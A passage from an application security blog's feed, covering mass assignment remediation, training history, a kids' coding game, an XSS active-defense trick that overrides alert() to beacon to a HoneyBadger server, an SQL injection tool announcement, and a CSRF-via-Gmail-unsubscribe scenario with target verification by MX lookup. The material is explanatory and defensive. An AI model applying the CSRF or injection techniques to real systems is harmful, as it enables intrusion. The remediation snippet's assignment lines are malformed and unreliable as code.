&lt;p&gt;I spoke with James Kettle (@albinowax) from the Portswigger R&amp;amp;D team about all of this. He agreed that it seems like a feasible technique, but also said that the Burp DAST does not check for this and made no indication that it would. I assume due to the variable error responses that are possible across server-side technologies. However, James did mention that his Param Miner extension uses some of this behavior to elicit meaningful responses and may help identify the issue. I tested this myself and was unable to get the extension to identify the specific instance of the vulnerability I was testing against. However, the target vulnerability was a registration page that required unique information in specific parameters on every request. Param Miner did not appear to have the configuration options available to do this, but I suspect in other less restricted instances, it will help. As for now, this is yet another reason to have your applications manually analyzed by a trained professional, and not lean solely on a DAST solution.&lt;/p&gt;
&lt;h3&gt;Remediation&lt;/h3&gt;
&lt;p&gt;As always, I don&#39;t like explaining why something is broken without providing a means to do it safely. There are a few ways to create or update model objects safely.&lt;/p&gt;
&lt;p&gt;First, validate input. Applications should always validate input, whether using it as a security control or not. However, in this case, validate provided parameters against a list of expected model attributes. Validation can be done by blacklisting (nonassignable attributes) or whitelisting (assignable attributes), but the validator must be updated any time the affected model changes, and will be unique for every form.&lt;/p&gt;
&lt;p&gt;Second, explicitly bind parameters to the model object. Given the example above, it would look something like this:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;user = User()
user = user.username=request.form[&#39;username&#39;]
user = user.password=request.form[&#39;password&#39;]
db.add(user)
db.commit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice the application is not blindly trusting user input with regards to parameter names (username and password). The application avoids using the binding shortcut and does things explicitly.&lt;/p&gt;
&lt;p&gt;Lastly, bind to a Data Transfer Object (DTO) before binding to the final object. DTOs are intermediate objects consisting of an assignable subset of the target object&#39;s attributes. It acts as a kind of filter. So first, bind the DTO to the untrusted input, then bind the object to the DTO. This provides similar behavior to that of whitelisting parameter names as it will only use the parameters matching the names of expected attributes.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="api"/>
        <category term="flask"/>
    </entry>
    <entry>
        <title>A Decade of Training</title>
        <id>https://www.lanmaster53.com/blog/2019/02/22/a-decade-of-training/</id>
        <link href="https://www.lanmaster53.com/blog/2019/02/22/a-decade-of-training/"/>
        <published>2019-02-22T00:00:00Z</published>
        <updated>2019-02-22T00:00:00Z</updated>
        <summary>Training has been a significant part of my professional life since 2009. I&#39;ve never written about my training pursuits, so as I march into my tenth year of…</summary>
        <content type="html">&lt;p&gt;Training has been a significant part of my professional life since 2009. I&#39;ve never written about my training pursuits, so as I march into my tenth year of training, fifth year of Practical Web Application Penetration Testing (PWAPT), and the first year of Practical Burp Suite Pro: Advanced Tactics (PBAT), I&#39;d like to share a little about where I&#39;ve been, where I&#39;m at, and where I&#39;m going, while specifically addressing my various courses.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;I started my training career in 2009 organizing the &#34;255S Course&#34;: the Army&#39;s attempt at building the ideal Cyber Defender. This came on the heels of being an Army Red Team leader for a couple years, so I was a good fit for the role. You know the saying, the best defense is knowing your opponent&#39;s offense. Well, I had the opportunity to work with Chris Gates (@carnal0wnage), Matt Graeber (@mattifestation) and Chris Campbell (@obscuresec) on the Army Red Team, so you could say I learned a thing or two about offense.&lt;/p&gt;
&lt;p&gt;I made my first personal venture in the classroom putting together a small Python for Pentesters class for the 255S course. However, I needed a LOT of help with other topics such as digital forensics, incident handling/response, packet analysis, Windows/Linux security, etc. So I formed a relationship with SANS to help me fill those needs.&lt;/p&gt;
&lt;p&gt;It was early in my relationship with SANS that I became friends with John Strand (@strandjs). John introduced me to the training industry and mentored me into becoming an instructor for SANS. It was with John at BHIS that I also began to focus exclusively on Web Application Security. Therefore, SANS SEC542 was a natural fit and that is where I enjoyed my first public classroom experiences.&lt;/p&gt;
&lt;p&gt;Teaching SEC542 for SANS worked out great for several years, but I had no control over the content I was teaching at SANS, and there was so much more that I wanted to share. The only option that afforded me complete control over the content I was teaching was to branch off on my own. So that&#39;s what I did.&lt;/p&gt;
&lt;p&gt;PWAPT was initially designed in 2015 as a follow-on for SANS SEC542. When I was teaching for SANS, I noticed a gap between where students were after SEC542 and where they needed to be to conduct successful web application penetration tests. While the basic vulnerability theory was there in SEC542, how to apply it was lacking. Therefore, with PWAPT I was less interested in the vulnerabilities and more interested in the process and tooling for bringing it all together to conduct a successful test. To support this effort, version 1 of PWAPT leveraged an old server-side PHP application with traditional vulnerabilities that didn&#39;t offer much for exploration outside of the OWASP Top 10. Since I wasn&#39;t focused on vulnerabilities, the target application provided a good foundation for this early version of the class.&lt;/p&gt;
&lt;p&gt;Soon after I began teaching PWAPT, I realized the need to focus at least some effort on vulnerabilities. I was getting a lot of students that had never taken SANS SEC542 and were missing the fundamentals required for the original vision of PWAPT. Therefore, I began building version 2 of PWAPT alongside a modern web application that leveraged Python Flask. The application was named PwnedHub and was built as &#34;a service for hosted vulnerability scanning.&#34; Using a server-side rendered MVC framework provided a more realistic experience for students and better replicated real world applications that students could expect to see during the majority of their engagements. While the core focus of the course remained on process and tooling, I began incorporating vulnerability theory. However, I didn&#39;t restrict myself to the OWASP Top 10. I immediately expanded the content to include things like Server-Side Template Injection (SSTI), Mass Assignment, Server-Side Request Forgery (SSRF), etc. but PwnedHub was limited to vulnerabilities specific to server-side rendered applications.&lt;/p&gt;
&lt;p&gt;As Single Page Applications (SPA) became a prominent architectural design pattern, it became important to begin incorporating client-side rendering as a major component of the PwnedHub application and PWAPT course material. Version 3 of PWAPT saw PwnedHub offer several pages rendered as SPAs written in React. This provided an opportunity to explore vulnerabilities in client-side rendering and REST web services as well as the process and tooling for testing them. Topics such as DOM-based Cross-Site Scripting (D-XSS), the impact of mismatched content types, REST authentication mechanisms, and Cross-Origin Resource Sharing (CORS) were added to the course content. The SPA components were eventually rewritten in Vue.js, but the course material around testing SPAs remained the same. Version 3 of PWAPT also saw the transition from Burp Suite Pro v1 to v2 beta and the implementation of my proprietary training content management and delivery platform.&lt;/p&gt;
&lt;p&gt;With version 4 of PWAPT (finished this week), the transition to Burp Suite Pro v2 beta continues and will likely include the full transition to the Burp Suite Pro v2 release in the coming months (hopefully). Version 4 also takes a special interest in business logic vulnerabilities. This required a complete redesign of the PwnedHub application, which is now &#34;a consolidated bug bounty and hosted scanning platform.&#34; While PwnedHub still includes re-skinned and enhanced versions of previous functionality, it&#39;s main business purpose is the one-of-a-kind bug bounty system that crowd sources the bug validation phase of bug bounties in addition to the actual discovery. As you can imagine, this provides all kinds of opportunities to introduce true business logic issues. Students are going to thoroughly enjoy the challenge of what I have in store for them.&lt;/p&gt;
&lt;p&gt;The last four paragraphs covered four years, during which PWAPT was my sole training effort. I maintained PWAPT pretty much on a daily basis, and that will continue. I believe in the purpose of PWAPT, and the over 600 people that have been trained by PWAPT up to this point can provide testimony to its value. I won&#39;t compromise that and you can expect a fresh experience if you come back and take the course every other year. Many have, and many still do. But I&#39;m not stopping there. I created Practical Security Services (PractiSec) in late 2017 to offer training in a more official capacity. While that&#39;s been a whole &#39;nother experience that I won&#39;t cover here, I do want to be clear about my intent for the future. I intend for PractiSec to be a training first, consulting second, practice built on the backs of classes like PWAPT. There is a desperate need for affordable world-class training, and I want to help meet that need. Last year I announced a new course in PBAT, and more will follow as gaps and needs are identified. And while I am focused on web application security now, I won&#39;t rule out bringing in other subject matter experts to teach courses based on practical skills in other disciplines.&lt;/p&gt;
&lt;p&gt;Specifically regarding PBAT, I mentioned last year that I hope to have it done by Spring of 2019. While I am still on track to meet that timeline, the first two places I&#39;ve submitted to teach it rejected my Call-for-Training (CFT) submission. I am still holding out hope that the last year for DerbyCon will be the first presentation for PBAT, but I won&#39;t know for a few months. If you are interested in hosting a PBAT class, please see the &lt;a href=&#34;https://www.practisec.com/training&#34;&gt;training page&lt;/a&gt; for details or contact me directly. If you&#39;re wondering what PBAT is, that is also on the training page.&lt;/p&gt;
&lt;p&gt;I have thoroughly enjoyed sharing my passion through training over the past ten years, and I&#39;m excited about what the future holds for my training pursuits. If you&#39;ve joined me for a class before, thank you for your support and I hope to see you again. If you haven&#39;t attended one of my courses, then I hope to see you at a future event now that you know a little more about the history of what you&#39;ll be receiving.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="training"/>
    </entry>
    <entry>
        <title>Get Off Your Butt and Teach Your Kids to Code</title>
        <id>https://www.lanmaster53.com/blog/2018/12/08/get-off-your-butt-and-teach-your-kids-to-code/</id>
        <link href="https://www.lanmaster53.com/blog/2018/12/08/get-off-your-butt-and-teach-your-kids-to-code/"/>
        <published>2018-12-08T00:00:00Z</published>
        <updated>2018-12-08T00:00:00Z</updated>
        <summary>If you&#39;re my age (born in the early 1980s) and know how to code, then it has likely been a differentiator for you in your career. I can&#39;t think of a single…</summary>
        <content type="html">&lt;p&gt;If you&#39;re my age (born in the early 1980s) and know how to code, then it has likely been a differentiator for you in your career. I can&#39;t think of a single thing I&#39;ve done professionally where my ability to understand programming concepts and write code has not benefited me in some way. However, coding is fast becoming a more common skill set amongst the younger generations. Teaching our kids to code is now more of a necessity and less of a luxury.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;Today was the start of Snowmageddon 2018 (not really, this is SC and there might be some freezing rain). It was cold and wet outside and everyone was holed up indoors. Kids were restless and parents were on edge. I was getting some prep work done for a class I&#39;m teaching next week when my four year old daughter walked in, picked up a box, and placed it on my head. I immediately felt like a robot and started making robot sounds and noises. Then it hit me... The ideas rushed in and before I could get in another beep-boop, I had put together a progressive plan for teaching my kids to code using me as a robot.&lt;/p&gt;
&lt;p&gt;Normally I wouldn&#39;t write about something like this, but it worked out so well that I wanted to share it in hopes that not only would it give parents an interesting way to teach code, but also get them off their butts and interacting with their children in a more physical way as opposed to sitting in front of a computer or TV screen.&lt;/p&gt;
&lt;p&gt;So here&#39;s how it unfolded.&lt;/p&gt;
&lt;p&gt;As the robot, I got to be as flexible or rigid with following the commands as the child needed for their ability level. I also got to make up funny responses on the fly to bad commands that I knew would fail, and commands that ended badly by running into furniture and stubbing my toes on door jams. Don&#39;t let me downplay the importance of actually having a box for a robot head. With no eye holes I might add. It kept me honest, and gave the kids another reason to be creative. My ten year old went as far as to draw a face on it for me and name me. I can&#39;t remember what she named me because my wife quickly changed the name to &#34;Pain in the Bot&#34; and it stuck.&lt;/p&gt;
&lt;p&gt;Level 1 was very simple. Even my four year old could do this. I gave the kids a very simple task that involved moving about the house i.e. &#34;get me from my desk chair to the bathroom&#34;. All commands were given verbally. The children took turns and I followed the commands exactly. I gave very little coaching at this level and just let them get use to giving me commands and discovering how I would respond. Most commands were something like &#34;10 steps forward&#34; and &#34;turn left&#34;. Nothing too complex.&lt;/p&gt;
&lt;p&gt;Level 2 was also verbal, but I ramped up the complexity and coaching. The command &#34;10 steps forward&#34; signifies a looping construct, so I began coaching them to say stuff like, &#34;count from 1 to 10 and take a step on each count&#34;. I also introduced them to conditions. I coached them into commands like &#34;until the floor is hard, take steps&#34; which would cause me to walk across the carpet until I hit the hardwood floor. Another example would be &#34;until in the kitchen, take steps&#34; which would cause me to walk through the living room until I hit the other side of the kitchen threshold. The kids started using degrees of turns as well instead of simple &#34;left&#34; and &#34;right&#34; commands.&lt;/p&gt;
&lt;p&gt;Level 3 is where things really got fun. Rather than follow commands one at a time, I gave the children a simple task and had them begin to plan on their own using paper, building a list commands they thought would get the task done. At this time they had a decent understanding of the syntax I&#39;d been using and the available commands and constructs. Once they had a &#34;script&#34; built, I took the script and followed it exactly. Like all code, it never compiled or executed perfectly the first time. There were bugs. Spelling errors caused me to not understand a command. I didn&#39;t take enough steps and ended up facing a wall, unable to continue. I tripped over some obstruction in the way that they didn&#39;t account for and it threw me off track. When these kinds of things happened, I would let them debug, modify the code, and start execution all over again when they were ready. We did this until the task was complete.&lt;/p&gt;
&lt;p&gt;This is where we left off. It was a ton of fun, took a good bit of time, and everyone walked away unscathed... except for a few bruises and broken toes (I was dedicated to the part). I will eventually parlay this into something more closely tied to computer programming, but this was a great way to introduce my children to programming concepts, even though they have no idea that&#39;s what they were doing. &lt;/p&gt;
&lt;p&gt;I&#39;d love to hear some feedback on this. Especially if you have ideas on ways to make it better, or other examples of ways to introduce more complex constructs like functions, etc. Let me know what you come up with!&lt;/p&gt;</content>
        <category term="career"/>
        <category term="misc"/>
    </entry>
    <entry>
        <title>XSS Active Defense</title>
        <id>https://www.lanmaster53.com/blog/2018/06/18/xss-active-defense/</id>
        <link href="https://www.lanmaster53.com/blog/2018/06/18/xss-active-defense/"/>
        <published>2018-06-18T00:00:00Z</published>
        <updated>2018-06-18T00:00:00Z</updated>
        <summary>While I don&#39;t do active defense in any part of my professional life, I enjoy developing active defense techniques for web technologies. Lately I&#39;ve been…</summary>
        <content type="html">&lt;p&gt;While I don&#39;t do active defense in any part of my professional life, I enjoy developing active defense techniques for web technologies. Lately I&#39;ve been dabbling in active defense mechanisms for Cross-Site Scripting (XSS) attacks, and as the developer of the HoneyBadger geolocation framework, incorporating the research into new reporting techniques and agents.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;First, the basics. XSS is a client-side code injection issue where the goal is to inject client-side code in such a way that a malicious payload executes in the JavaScript context, regardless of where the payload lands in the page. The bottom line is that the final attack executes as JavaScript. When attempting to discover XSS flaws, an attacker is always going to develop proof-of-concept payloads to validate the issue prior final exploitation. This is a universal methodology. The first active defense technique I want to share preys on this universal behavior.&lt;/p&gt;
&lt;p&gt;The most common proof-of-concept payload used during the discovery process is typically some variation of the &lt;code&gt;alert&lt;/code&gt; JavaScript function, regardless of the context. I understand that there are many options with which to conduct a proof-of-concept attack, but this technique applies to all of them and for this demonstration we&#39;re going to use &lt;code&gt;alert&lt;/code&gt;. Like many other programming/scripting languages like it, we have the ability to overwrite functions in JavaScript. If we know that an attacker is going to use the &lt;code&gt;alert&lt;/code&gt; function to create a proof-of-concept while validating XSS on a target application, then the &lt;code&gt;alert&lt;/code&gt; function itself becomes an opportunity for detection and action when we apply what we know about JavaScript. Take the following block of code:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;_alert&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;// report malicious behavior&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;_alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code saves the original &lt;code&gt;alert&lt;/code&gt; function as &lt;code&gt;_alert&lt;/code&gt;. The code then creates a new &lt;code&gt;alert&lt;/code&gt; function. The new &lt;code&gt;alert&lt;/code&gt; function does anything we want whenever the browser calls it, and then initiates the original behavior by calling &lt;code&gt;_alert&lt;/code&gt;. Since the &lt;code&gt;alert&lt;/code&gt; function usually indicates malicious behavior, this gives us an opportunity to detect an attack, and in the case of active defense, respond with some action of our own. Let&#39;s expand on the above code to do something interesting.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;_alert&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;img&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;ow&#34;&gt;new&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Image&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;img&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&#34;https://&amp;lt;honeybadger host&amp;gt;/api/beacon/&amp;lt;target guid&amp;gt;/HTML&#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;_alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The added code is a HoneyBadger HTML agent using a JavaScript image object. The cool thing about creating an image this way is that browsers immediately fire off the request for the &lt;code&gt;src&lt;/code&gt; as soon as it is set, and the image never has to be added to the DOM. This means there is no visual evidence of attack in the user interface. As it stands right now, there are a variety of agents that we could place in our fake &lt;code&gt;alert&lt;/code&gt; function, i.e. HTML, JavaScript (HTML5), Java Applet, etc., but you can literally do anything you&#39;d like. Pretty cool, right?&lt;/p&gt;
&lt;p&gt;Beyond overwriting the &lt;code&gt;alert&lt;/code&gt; function, there are a few other XSS specific HoneyBadger agents that I&#39;ve come up with recently: Content-Security-Policy and XSS-Protection. Both of these agents incorporate reporting functionality for debugging issues during the implementation process. However, defenders can use the reporting functionality built into these mechanisms to report back to say... a HoneyBadger server.&lt;/p&gt;
&lt;p&gt;The Content-Security-Policy agent reports upon any violation of the configured policy, which when done correctly indicates the introduction of arbitrary client-side code. Incorporating either of these agents into a web page requires the ability to set headers for the page&#39;s response. The following headers create the Content-Security-Policy agent:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;X-XSS-Protection: 0
Content-Security-Policy-Report-Only: &amp;lt;policy&amp;gt;; report-uri https://&amp;lt;honeybadger host&amp;gt;/api/beacon/&amp;lt;target guid&amp;gt;/Content-Security-Policy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;X-XSS-Protection&lt;/code&gt; header disables the browser-side XSS protection before the Content Security Policy is configured. This is because browser-side XSS protection will trigger before the Content Security Policy and prevent the agent from working.&lt;/p&gt;
&lt;p&gt;The XSS-Protection agent reports any time the built-in browser XSS protection mechanism triggers, which indicates the presence of a known XSS attack. The following header creates the XSS-Protection agent:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;X-XSS-Protection: 1; report=https://&amp;lt;honeybadger host&amp;gt;/api/beacon/&amp;lt;target guid&amp;gt;/XSS-Protection
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;These agents cannot be used together. Using them together will only allow the XSS-Protection agent to trigger, as described above. I recommend the Content-Security-Policy agent for any environment that already has it implemented, and the XSS-Protection agent for those that don&#39;t. However, be mindful that the headers these agents use are only supported by some browsers. To see the Content-Security-Policy agent in action, check out a target demo page on any deployed HoneyBadger instance.&lt;/p&gt;</content>
        <category term="appsec"/>
    </entry>
    <entry>
        <title>SQLi Exploiter: Exploiting Complex SQL Injections</title>
        <id>https://www.lanmaster53.com/blog/2018/05/24/sqli-exploiter-exploiting-complex-sqli/</id>
        <link href="https://www.lanmaster53.com/blog/2018/05/24/sqli-exploiter-exploiting-complex-sqli/"/>
        <published>2018-05-24T00:00:00Z</published>
        <updated>2018-05-24T00:00:00Z</updated>
        <summary>Raise your hand if you&#39;ve ever had sqlmap fail to find or exploit a vulnerability you knew to exist? I imagine there&#39;s a lot of folks with their hands up right…</summary>
        <content type="html">&lt;p&gt;Raise your hand if you&#39;ve ever had sqlmap fail to find or exploit a vulnerability you knew to exist? I imagine there&#39;s a lot of folks with their hands up right now. Okay, put your hands down.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;I&#39;ll be the first person to tell you that sqlmap can almost always be tuned to discover a SQL injection vulnerability found through other means. I&#39;ll also be the first to recommend never using sqlmap to discover new SQL injection vulnerabilities. While discovering SQL injection vulnerabilities is not a strength of sqlmap, it is without a doubt the king of exploiting them. The trick is, sqlmap has to discover the vulnerability before it can exploit it. So if it can&#39;t discover it, it can&#39;t exploit it... you know where I&#39;m going with this. The bottom line is, there is only so much you can do with command line switches and sometimes you run into edge cases where sqlmap just doesn&#39;t get it. Hence, the reason for this blog article.&lt;/p&gt;
&lt;p&gt;I was on a test recently where I discovered a timing-based blind injection vulnerability in an &lt;code&gt;ORDER BY&lt;/code&gt; clause that prevented the use of single quotes. I searched the vast sqlmap help file, explored the tamper scripts, and spent several hours trying to get sqlmap to discover the vulnerability I had found. The developer of sqlmap could probably have configured sqlmap to find it, but I could not. I can honestly say this was the first time this has happened to me. I&#39;ve talked to many people that say it happens all the time, but I&#39;d be willing to bet it was a result of them not knowing the sqlmap configuration options or the vulnerablity well enough to tell sqlmap how to find it. But I digress. Sqlmap wasn&#39;t doing it for me this time.&lt;/p&gt;
&lt;p&gt;So I decided to use Burp Intruder. If you&#39;ve never done blind SQL injection enumeration with Intruder before, it&#39;s actualy quite fun. You create insertion points for each part of the query that needs to be enumerated, then you create the associated payload sets and run the attack. Sorting by various columns depending on the vulnerabilty will allow you to determine what was enumerated by the attack. The biggest problem with this approach is that Intruder isn&#39;t smart enough to stop enumerating when a successful character is enumerated from one of the payload sets. Therefore, it has to continue all of the other payloads in the set, which at this point we know are going to fail. When the vulnerability is timing-based, this can result in extended wait times. Also, it&#39;s extremely noisy from a monitoring perspective. In this case, the timing condition was any response that took longer than two seconds to respond. Start doing the math. Yeah.&lt;/p&gt;
&lt;p&gt;I&#39;ve built my career on finding gaps and filling them. The space between Intruder and sqlmap with regards to exploiting complex SQL injections is space worth filling. So I built something.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/lanmaster53/sqli-exploiter&#34;&gt;https://github.com/lanmaster53/sqli-exploiter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Be warned, this is not a script kiddie tool. Usage requires detailed knowledge of the vulnerability, a thorough understand of the functionality available in the affected RDBMS, and the ability to write Python. However, the good news is that it is highly configurable as a result. I can&#39;t imagine an injection scenario that it can&#39;t be configured to exploit. Give it a shot and let me know what you think.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="tools"/>
    </entry>
    <entry>
        <title>Report Spam. Get Owned.</title>
        <id>https://www.lanmaster53.com/blog/2018/03/15/report-spam-get-owned/</id>
        <link href="https://www.lanmaster53.com/blog/2018/03/15/report-spam-get-owned/"/>
        <published>2018-03-15T00:00:00Z</published>
        <updated>2018-03-15T00:00:00Z</updated>
        <summary>So, a couple weeks ago Matt Svensson (@TechNerdings) dropped me a DM in Twitter: Random other thing that I am curious if you guys have seen anything on... I…</summary>
        <content type="html">&lt;p&gt;So, a couple weeks ago Matt Svensson (&lt;a href=&#34;https://twitter.com/TechNerdings&#34;&gt;@TechNerdings&lt;/a&gt;) dropped me a DM in Twitter:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Random other thing that I am curious if you guys have seen anything on... I just got an email from the local eye clinic.  I hit the &#34;spam&#34; button on Gmail to report spam and unsubscribe. What I didn&#39;t realize is that it actually opens the unsubscribe link in the browser. Good news, easy unsubscribe. Maybe.....if you properly craft the spam...you could use the unsubscribe button to open a malicious web page?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Um... yeah! I immediately thought of how great a CSRF-via-email attack vector this was. Think about it. Users are trained not to click links, but in the case of Gmail, they&#39;re taught to click the handy-dandy &#34;Report Spam&#34; button to report it to the spam filter. But wait a second. The handy-dandy &#34;Report Spam&#34; button will go the extra step and unsubscribe the user from future attacks as well if the user so desires... and they do.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;h3&gt;Scenario&lt;/h3&gt;
&lt;p&gt;An attacker crafts a spam message with an embedded &#34;unsubscribe&#34; link containing the CSRF attack payload like so:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/2018-03-15-report-spam-get-owned/spam-unsubscribe.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/2018-03-15-report-spam-get-owned/spam-unsubscribe.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The attacker then sends the email to their victims. In the process of reporting suspicious links and unsubscribing from future messages, because it&#39;s the &#34;safe&#34; thing the victims were trained to do, Google clicks the link for the victims, and the CSRF attack payload is triggered from the victim&#39;s browser.&lt;/p&gt;
&lt;h3&gt;Further Study&lt;/h3&gt;
&lt;p&gt;Being a user of both Gmail and G Suite, I did some additional testing and noticed some other interesting behavior regarding the effectiveness of this attack across these platforms.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gmail to G Suite worked as noted above.&lt;/li&gt;
&lt;li&gt;G Suite to Gmail resulted in a different message that did not have the option to mark as spam and unsubscribe and warned of possible danger.&lt;/li&gt;
&lt;li&gt;Gmail to Gmail worked as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interesting. You&#39;d think the stuff coming from Gmail would be the most suspicious because anyone could create a free Gmail account and use it for spam. But Google trusts the Gmail stuff where it warns of the G Suite stuff.&lt;/p&gt;
&lt;p&gt;While in theory I love this idea, it wasn&#39;t nearly as awesome in practice. After a little bit of fooling around, I couldn&#39;t get it to trigger in any of my accounts anymore. Gmail learned something about my attempts to replicate the attack and stopped asking about the spam when clicking the &#34;Report Spam&#34; button. Even after going into the spam folder and marking the message as &#34;Not Spam.&#34; I suspect when you report something as spam once, Gmail remembers and doesn&#39;t ask whether you want to unsubscribe or just filter the next time you click the &#34;Report Spam&#34; button. It just filters it.&lt;/p&gt;
&lt;h3&gt;Verifying Targets&lt;/h3&gt;
&lt;p&gt;Before this information is at all useful, an attacker must validate whether or not their target is using one of Google&#39;s email services. Detecting Gmail is easy. Just look for the &lt;code&gt;@gmail.com&lt;/code&gt; domain in the email address. Detecting G Suite isn&#39;t much harder. Do a MX record lookup for the email addresses domain (hostname actually) via DNS and examine the mail server addresses. Below is an example of using dig to conduct such a lookup for the &lt;code&gt;tim.tomes@practisec.com&lt;/code&gt; email address:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ dig -t MX practisec.com +short
1 aspmx.l.google.com.
5 alt1.aspmx.l.google.com.
5 alt2.aspmx.l.google.com.
10 alt3.aspmx.l.google.com.
10 alt4.aspmx.l.google.com.
